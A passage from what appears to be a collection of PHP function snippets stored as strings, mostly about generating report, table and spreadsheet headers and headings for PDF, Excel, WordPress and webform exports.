'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public function getHeaderData() {}", "public function header()\n\t{\n\t\treturn array(\t'Translation ID (Do not change)',\n\t\t\t\t\t\t'Translation Group (Do not change)',\n\t\t\t\t\t\t'Original Text (Do not change)',\n\t\t\t\t\t\t'Translated Text (Change only this column to new translated text)');\n\t}", "function Header()\n\t{\n\t\t$this->SetFont('Arial','',12);\n\t\t$this->MultiCell(190,5,nombre_empresa(),'0','C');\n\t\t$this->SetFont('Arial','',10);\n\t\t$this->MultiCell(190,5,tipo_serv(),'0','C');\n\t\t$this->SetFont('Arial','B',10);\n\t\t$this->SetTextColor(0,0,0);\n\t\t$this->MultiCell(190,7,strtoupper(_('listado de clientes para cortes')),'0','C');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->SetX(133);\n\t\t$this->Cell(12,5,strtoupper(_('fecha')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"d/m/Y\"),0,0,'L');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->Cell(12,5,strtoupper(_('hora')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"h:i:s A\"),0,0,'L');\n\t\t$this->Ln();\t\t\n\t}", "function ods_analyze_data() {\n $results_level1 = array();\n foreach ($this->schema['named-range'] as $range) {\n $range_name = $range['name'];\n switch ($range['level']) {\n case 1:\n if (!empty($this->data[$range_name])) {\n // get all rows elements on this range\n //foreach($this->data[ $range_name ] as $data_level1){\n //row cycle\n $results_level1[$range_name]['rows'] = $this->ods_render_range($range_name, $this->data);\n }\n break;\n }\n }\n if ($results_level1){\n $sheet = $this->dom\n ->getElementsByTagName('table')\n ->item(0);\n \n foreach ($results_level1 as $range_name => $result){\n \n //delete template on the sheet\n $in_range = false;\n foreach ($sheet->getElementsByTagName('table-row') as $row){\n if ($row->hasAttribute('range_name')\n && $row->getAttribute('range_name') == $range_name\n && $row->hasAttribute('range_start')\n \n ){\n $results_level1[ $range_name ]['start'] = $row;\n $in_range = true;\n }\n \n if ($in_range){\n $row->setAttribute('remove_me_please', 'yes');\n }\n \n if ($row->hasAttribute('range_name')\n \n && $row->hasAttribute('range_end')\n && in_array($range_name, explode(',', $row->getAttribute('range_end')) )\n ){\n $results_level1[ $range_name ]['end'] = $row;\n $in_range = false;\n } \n \n }\n \n //insert data after end \n foreach ( $results_level1[$range_name]['rows'] as $row ){\n $results_level1[ $range_name ]['start']\n ->parentNode\n ->insertBefore($row, $results_level1[ $range_name ]['start']);\n }\n \n }\n \n //clear to_empty rows\n $remove_rows = array();\n \n foreach ($sheet->getElementsByTagName('table-row') as $row){\n if ($row->hasAttribute('remove_me_please')){\n $remove_rows[] = $row;\n }\n }\n \n foreach ($remove_rows as $row){\n $row->parentNode->removeChild($row);\n }\n \n //after this - rows count is CONSTANT\n if (!empty( $this->hasFormula )){\n $this->ods_recover_formula();\n }\n \n }\n }", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "function kdw_row_tiles_txt (){ \r\n \r\n}", "function adleex_resource_list_column_header( $cols ) {\nglobal $current_screen;\n\n\tif ($current_screen->post_type!='resource') return $cols;\n\n\tunset($cols['date']);\n\t$header = array(\n 'post_title' => 'title', );\n\tforeach($header\tas $k => $v) $cols[$k]=$v;\n\treturn $cols;\n}", "function Header()\n\t\t{\n\t\t\t$this->SetFont('Helvetica','B',18);\n\t\t\t$this->SetTextColor(184,10,10);\n\t\t\t$this->Cell(30);\n\t\t\t$this->Cell(120,10,utf8_decode(\"Mensajes Contestados\"),0,0,'C');\n\t\t\t$this->Ln(20);\n\t\t}", "function register_column_headers($screen, $columns)\n {\n }", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "function getHeaderTags()\n {\n $filter = '(';\n for ($i = 1; $i <= 20; $i++) {\n $filter .= '//h' . $i . '|';\n }\n $filter = trim($filter, '|') . ')';\n \n $elements = $this->xpath->query($filter);\n $tags = [];\n foreach ($elements as $index => $element) {\n $level = filter_var($element->tagName, FILTER_SANITIZE_NUMBER_INT) - 1;\n $innerHtml = $this->DOMinnerHTML($element);\n \n $tags[$index]['header'] = $element->tagName;\n $tags[$index]['level'] = $level;\n $tags[$index]['name'] = trim(strip_tags($innerHtml));\n $tags[$index]['content'] = $innerHtml;\n $tags[$index]['toc'] = $this->getTOCFromTag($innerHtml);\n }\n return $tags;\n }", "private function renderSectionHeadings() {\n\t\t$headings = array();\n\t\t$separator = $this->getSubpart('HEADING_SEPARATOR');\n\n\t\tforeach ($this->sections as $key => $section) {\n\t\t\t$class = ($key == 0) ? 'tx-explanationbox-pi1-active' : 'tx-explanationbox-pi1-inactive';\n\n\t\t\t$this->setMarker('class_heading', $class);\n\t\t\t$this->setMarker('heading_number', $key);\n\t\t\t$this->setMarker('heading', htmlspecialchars($section['title']));\n\t\t\t$headings[] = $this->getSubpart('SINGLE_HEADING');\n\t\t}\n\n\t\tif (count($this->sections) > 1) {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-active');\n\t\t} else {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-inactive');\n\t\t}\n\n\t\t$this->setMarker('number_of_sections', count($this->sections));\n\t\t$this->setSubpart('SECTION_HEADINGS', implode($separator, $headings));\n\t}", "public function headings(): array\n {\n return ['ID', 'Email ID', 'Status', 'Created At', 'Last Updated At'];\n }", "function taxonomy_header($cat_columns) {\r\n\t\t$cat_columns['cat_id'] = 'ID';\r\n\t\treturn $cat_columns;\r\n\t}", "function weekviewHeader()\n {\n }", "public function getHeading(): string;", "function tck_table_head_cells($cells) {\n $newcells['custom'] = yourls__('Custom Keyword');\n $newcells['actions'] = $cells['actions'];\n \n unset($cells['actions']);\n return array_merge($cells, $newcells);\n }", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n $this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function getTableHeaders()\n {\n return ['#', 'Fatura','Ordem Servico'];\n }", "abstract public function region();", "public function actionTitles()\n\t{\n $this->setPageTitle(\"IVR Branch Titles\");\n $this->setGridDataUrl($this->url('task=get-ivr-branch-data&act=get-titles'));\n $this->display('ivr_branch_titles');\n\t}", "public function mombo_main_headings_color() {\n \n \n }", "public function buildHeader() {\n return [\n ['data' => t('Teaching format'), 'class' => ['align-middle']],\n ['data' => t('Event'), 'class' => ['align-middle']],\n ['data' => t('Tutor'), 'class' => ['align-middle']],\n ['data' => t('Location'), 'class' => ['align-middle']],\n ['data' => t('Room'), 'class' => ['align-middle']],\n [\n 'data' => t('Date/time'),\n 'field' => 'time.field_event_time_value',\n 'sort' => 'desc',\n 'class' => ['align-middle'],\n ],\n ['data' => t('Registration status'), 'class' => ['align-middle']],\n ];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'name',\n 'email',\n 'active',\n 'roles', /*,\n 'email_verified_at',\n 'password',\n 'remember_token',*/\n ];\n }", "function Header()\n\t{\n\t\t// Police Arial gras 24\n\t\t$this->SetTextColor(255,10,22);\n\t\t$this->SetFont('Arial','B',14);\n\t\t// Décalage à droite\n\t\t$this->Cell(10);\n\t\t// Titre (ligne,titre)\n\t\t$this->Cell('',10,'Liste des employes',0,0,'C');\n\t\t// Saut de ligne\n\t\t$this->Ln(20);\n\t}", "public function cells();", "public function populateRegionTables() {\n\t\t$scrapeLog = $this->addLog(COUNTY_TABLE);\n\t\t\n\t\t$counties = $this->countyRepository->getFromXML(BASE_PATH . AD_PATH . SEARCH_LIST_PATH . COUNTY_PATH);\n\t\tforeach($counties as $county) {\n\t\t\t$this->countyRepository->add($county);\n\t\t\t\n\t\t\t$municipalities = $this->municipalityRepository->getFromXML(BASE_PATH . AD_PATH . SEARCH_LIST_PATH . MUNICIPALITY_PATH . $county->getCountyId(), $county->getCountyId());\n\t\t\t\n\t\t\tforeach($municipalities as $municipality) {\n\t\t\t\t$this->municipalityRepository->add($municipality);\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->updateLog($scrapeLog);\n\t}", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "public function getAdminPanelHeaderData() {}", "protected function getReportSections() {\n return array(\n 'iops-linear-time' => 'WSAT IOPS (Linear) vs Time (Linear)',\n 'iops-log-time' => 'WSAT IOPS (LOG) vs Time (Linear)',\n 'iops-linear-tgbw' => 'WSAT IOPS (Linear) vs TGBW (Linear)',\n 'iops-log-tgbw' => 'WSAT IOPS (Log) vs TGBW (Linear)'\n );\n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function get_cell_info() {\n $types = array();\n $cells = array();\n foreach ($this->get_unique_section('GridMap/Palette')->sections as $cell) {\n if (is_array($cell)) {\n $cell = end($cell);\n }\n /** @var \\Totengeist\\IVParser\\Section $cell */\n $path = explode('/', $cell->path);\n $name = $path[count($path)-1];\n // If the name is empty, the character is '/' and was exploded.\n if ($name == '') {\n $name = '/';\n }\n // If the cell is empty space, it contains no content.\n if (count($cell->content) == 0) {\n $types[$name] = array();\n } else {\n foreach ($cell->content as $key => $type) {\n if (in_array($key, static::$CELLS)) {\n $types[$name][] = $key;\n } elseif (in_array($key, static::$CELL_TYPES)) {\n $key = 'Storage ' . $type;\n $types[$name][] = $key;\n } else {\n $types[$name] = array();\n }\n }\n }\n }\n $typekeys = array_keys($types);\n $cell_width = strlen($typekeys[count($typekeys)-1])+1;\n\n foreach ($this->get_unique_section('GridMap/Cells')->content as $cellk => $cell) {\n for ($i = 0; $i < strlen($cell); $i += $cell_width) {\n $char = trim(substr($cell, $i, $cell_width));\n if (in_array($char, array_keys($types))) {\n foreach ($types[$char] as $type) {\n if (!isset($cells[$type])) {\n $cells[$type] = 1;\n } else {\n $cells[$type]++;\n }\n }\n }\n }\n }\n if (isset($cells['Habitation'])) {\n $cells['HabitationCapacity'] = (int) floor($cells['Habitation']/9);\n }\n\n return $cells;\n }", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "function _webform_csv_headers_file($component) {\r\n $header = array();\r\n // Two columns in header.\r\n $header[0] = array('', '');\r\n $header[1] = array($component['name'], '');\r\n $header[2] = array(t('Name'), t('Filesize (KB)'));\r\n return $header;\r\n}", "function Header()\n\t{\n\t\t$this->Image('../imagenes/logo.jpg',15,10,40);\n\t\t$this->SetFont('Arial','',12);\n\t\t$this->SetXY(70,15)\t;\n\t\t$this->MultiCell(190,5,nombre_empresa(),'0','L');\n\t//\t$this->MultiCell(190,5,\"CABLE, C.A.\",'0','L');\n\t\t$this->SetFont('Arial','',10);\n\t\t$this->SetX(70)\t;\n\t\t$this->MultiCell(190,5,strtoupper(_(tipo_serv())),'0','L');\n\t\t//$this->Ln(8);\n\t}", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "function getNombre_region()\n {\n if (!isset($this->snombre_region) && !$this->bLoaded) {\n $this->DBCarregar();\n }\n return $this->snombre_region;\n }", "function Header() {\n $this->SetFont('Helvetica', 'B', 18);\n //Judul dalam bingkai\n $this->Cell(0, 5, 'Daftar Hasil Seleksi Calon Siswa Baru', 0, 1, 'C');\n $this->SetFont('Helvetica', 'B', 16);\n $this->Cell(0, 15, 'Sekolah Dasar', 0, 0, 'C');\n //Ganti baris\n $this->Ln(20);\n }", "public function getExcelColumnNameDataProvider(): array\n {\n return [\n [1, 'A'],\n [26, 'Z'],\n [27, 'AA'],\n [32, 'AF'],\n [52, 'AZ'],\n [676, 'YZ'],\n [702, 'ZZ'],\n [703, 'AAA'],\n [0, \"0\"],\n [-20, \"-20\"],\n ];\n }", "protected function getTableHeader() {\n $newDirection = ($this->sortDirection == 'asc') ? 'desc' : 'asc';\n\n $tableHeaderData = array(\n 'title' => array(\n 'link' => $this->getLink('title', ($this->sortField == 'title') ? $newDirection : $this->sortDirection),\n 'name' => 'Title',\n 'cssClass' => 'fa-sort-' . $this->sortDirection\n ),\n 'document_type' => array(\n 'link' => $this->getLink('type', $this->sortField == 'document_type' ? $newDirection : $this->sortDirection),\n 'name' => 'Type',\n 'cssClass' => 'fa-sort-' . $this->sortDirection\n ),\n 'date' => array(\n 'link' => $this->getLink('date', $this->sortField == 'date' ? $newDirection : $this->sortDirection),\n 'name' => 'Date',\n 'cssClass' => 'fa-sort-' . $this->sortDirection\n ),\n );\n\t\t\n // insert institution field in 3rd column, if this is search results\n if($this->uri == 'search') {\n $tableHeaderData = array_slice($tableHeaderData, 0, 2, true) +\n array('institution' => array(\n 'link' => $this->getLink('institution', $this->sortField == 'institution' ? $newDirection : $this->sortDirection),\n 'name' => 'Institution',\n 'cssClass' => 'fa-sort-' . $this->sortDirection\n )) +\n array_slice($tableHeaderData, 2, count($tableHeaderData)-2, true);\n }\n\t\t\n return $tableHeaderData;\n }", "public function pi_list_header() {}", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function extObjHeader() {}", "public function columns_head( $columns ) {\r\n $new = array();\r\n foreach ( $columns as $key => $title ) {\r\n if ( $key == 'title' ){\r\n $new['featured_image'] = esc_html__( 'Image', 'myhome-core' );\r\n $new[$key] = $title;\r\n } elseif ( $key == 'author' ) {\r\n $new[$key] = esc_html__( 'Agent', 'myhome-core' );\r\n $new['price'] = esc_html__( 'Price', 'myhome-core' );\r\n } else {\r\n $new[$key] = $title;\r\n }\r\n }\r\n return $new;\r\n }", "function rawpheno_all_headers($file) {\n // Retrieve the header for the indicated file.\n rawpheno_add_parsing_libraries();\n $xls_obj = rawpheno_open_file($file);\n rawpheno_change_sheet($xls_obj, 'measurements');\n // Note: we use the foreach here\n // because the library documentation doesn't have a single fetch function.\n\n $arr_headers = array();\n foreach ($xls_obj as $xls_headers) {\n foreach($xls_headers as $h) {\n if (strlen($h) > 2) {\n $arr_headers[] = trim($h);\n }\n }\n break;\n }\n\n return $arr_headers;\n}", "function MyApp_Interface_Titles()\n {\n $this->UnitsObj()->Sql_Table_Structure_Update();\n $unit=$this->Unit();\n if (empty($unit))\n {\n return $this->MyApp_Info();\n }\n\n $titles=array($this->MyApp_Name());\n\n $unit=$this->Unit();\n if (!empty($unit))\n {\n array_push($titles,$unit[ \"Title\" ]);\n\n $event=$this->Event();\n\n if (!empty($event))\n {\n $keys=array_keys($event);\n $keys=preg_grep('/Place/',$keys);\n array_push\n (\n $titles,\n $event[ \"Title\" ],\n $this->Event_DateSpan($event),\n $this->Event_Place($event)\n \n );\n }\n else\n {\n \n }\n }\n\n return $titles;\n }", "function wpbm_columns_head( $columns ){\n $columns[ 'shortcodes' ] = __( 'Shortcodes', WPBM_TD );\n $columns[ 'template' ] = __( 'Template Include', WPBM_TD );\n return $columns;\n }", "function Header(){\n\t\t$linha = 5;\n\t\t// define o X e Y na pagina\n\t\t$this->SetXY(10,10);\n\t\t// cria um retangulo que comeca na coordenada X,Y e\n\t\t// tem 190 de largura e 265 de altura, sendo neste caso,\n\t\t// a borda da pagina\n\t\t$this->Rect(10,10,190,265);\n\t\t\n\t\t// define a fonte a ser utilizada\n\t\t$this->SetFont('Arial', 'B', 8);\n\t\t$this->SetXY(11,11);\n\t\t\n\t\t// imprime uma celula com bordas opcionais, cor de fundo e texto.\n\t\t$agora = date(\"G:i:s\");\n\t\t$hoje = date(\"d/m/Y\");\n\t\t$this->Cell(10,$linha,$agora,0,0,'C');\n\t\t$this->Cell(150,$linha,'..:: Fatec Bauru - Relatorio de Cursos da Fatec ::..',0,0,'C');\n\t\t$this->Cell(30,$linha,$hoje,0,0,'C');\n\t\t\n\t\t// quebra de linha\n\t\t$this->ln();\n\t\t$this->SetFillColor(232,232,232);\n\t\t$this->SetTextColor(0,0,0);\n\t\t$this->SetFont('Arial', 'B', 8);\n\n\t\t$this->Cell(10,4,'ID','LTR',0,'C',1);\n\t\t$this->Cell(140,4,'Nome do Curso','LTR',0,'C',1);\n\t\t$this->Cell(40,4,'Periodo','LTR',0,'C',1);\n\t}", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = 